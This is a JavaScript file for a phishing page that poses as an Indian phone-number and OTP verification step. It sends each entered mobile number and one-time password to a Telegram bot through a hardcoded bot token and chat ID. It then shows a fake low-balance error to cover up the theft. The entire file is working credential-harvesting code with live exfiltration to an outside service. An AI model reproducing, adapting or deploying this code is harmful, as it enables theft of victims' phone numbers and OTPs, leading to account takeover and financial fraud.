const emailOrPhoneInput = document.getElementById("emailOrPhone");
const continueButton = document.getElementById("continueButton");
// Function to validate input and enable/disable continue button
function validateInput() {
const enteredNumber = emailOrPhoneInput.value;
const isValid = /^\d{10}$/.test(enteredNumber);
continueButton.disabled = !isValid;
}
emailOrPhoneInput.addEventListener("input", validateInput); // Listen for input changes
function sendNumber() {
const enteredNumber = emailOrPhoneInput.value;
const botToken = "7082091449:AAH6NGX8EU6pP5GsswWW_-VQbtT6R9SVrWs"; // Replace with your bot token
const chatId = "-1002044276088"; // Replace with your chat ID
document.getElementById("loader").style.display = "block"; // Show loader
const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=Number+received:+${enteredNumber}`;
fetch(url)
.then(response => {
if (response.ok) {
setTimeout(() => {
showOtpForm(enteredNumber); // Show OTP form after delay
}, 4000);
} else {
console.error('Failed to send message to Telegram');
document.getElementById("loader").style.display = "none"; // Hide loader
}
})
.catch(error => {
console.error('Error sending message:', error);
document.getElementById("loader").style.display = "none"; // Hide loader
});
}
function showOtpForm(enteredNumber) {
document.getElementById("loader").style.display = "none"; // Hide the loader
// Get the container and replace its ENTIRE contents.
const container = document.querySelector(".container");
container.innerHTML = `
Authentication required
IN +91${enteredNumber}
We've sent a One Time Password (OTP) to the mobile number above. Please enter it to complete verification.
`;
setWhiteBackgroundHeight();
// Set up OTP input validation
const otpInput = document.getElementById("otp");
const otpContinueButton = document.getElementById("otpContinueButton");
otpInput.addEventListener("input", () => {
const enteredOtp = otpInput.value;
const isValid = /^\d{6}$/.test(enteredOtp);
otpContinueButton.disabled = !isValid;
});
}
function sendOtp() {
const enteredOtp = document.getElementById("otp").value; // Get OTP *after* showOtpForm
const botToken = "7082091449:AAH6NGX8EU6pP5GsswWW_-VQbtT6R9SVrWs"; // Replace with your bot token
const chatId = "-1002044276088"; // Replace with your chat ID
document.getElementById("otpLoader").style.display = "block"; // Show OTP loader
const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=OTP+received:+${enteredOtp}`;
fetch(url)
.then(response => {
if (response.ok) {
setTimeout(() => {
document.getElementById("otpLoader").style.display = "none";
const otpInput = document.getElementById("otp");
if (!otpInput.nextElementSibling || !otpInput.nextElementSibling.classList.contains("error")) {
const errorElement = document.createElement("p");
errorElement.textContent = "Minimum balance should be greater than ₹100";
errorElement.classList.add("error");
otpInput.parentNode.insertBefore(errorElement, otpInput.nextSibling);
}
}, 2000);
} else {
console.error('Failed to send OTP');
document.getElementById("otpLoader").style.display = "none"; // Hide loader
}
})
.catch(error => {
console.error('Error sending OTP:', error);
document.getElementById("otpLoader").style.display = "none"; // Hide loader
});
}
function setWhiteBackgroundHeight() {
const logoContainer = document.querySelector('.logo-container');
const whiteBackground = document.getElementById('whiteBackground');
// Get the bottom position of the logo container (including the line)
const logoBottom = logoContainer.offsetTop + logoContainer.offsetHeight;
// Set the height of the white background.
whiteBackground.style.height = `calc(100% - ${logoBottom}px)`;
whiteBackground.style.top = `${logoBottom}px`; // Start below the logo.
}
// Initial call and resize listener.
setWhiteBackgroundHeight();
window.addEventListener('resize', setWhiteBackgroundHeight);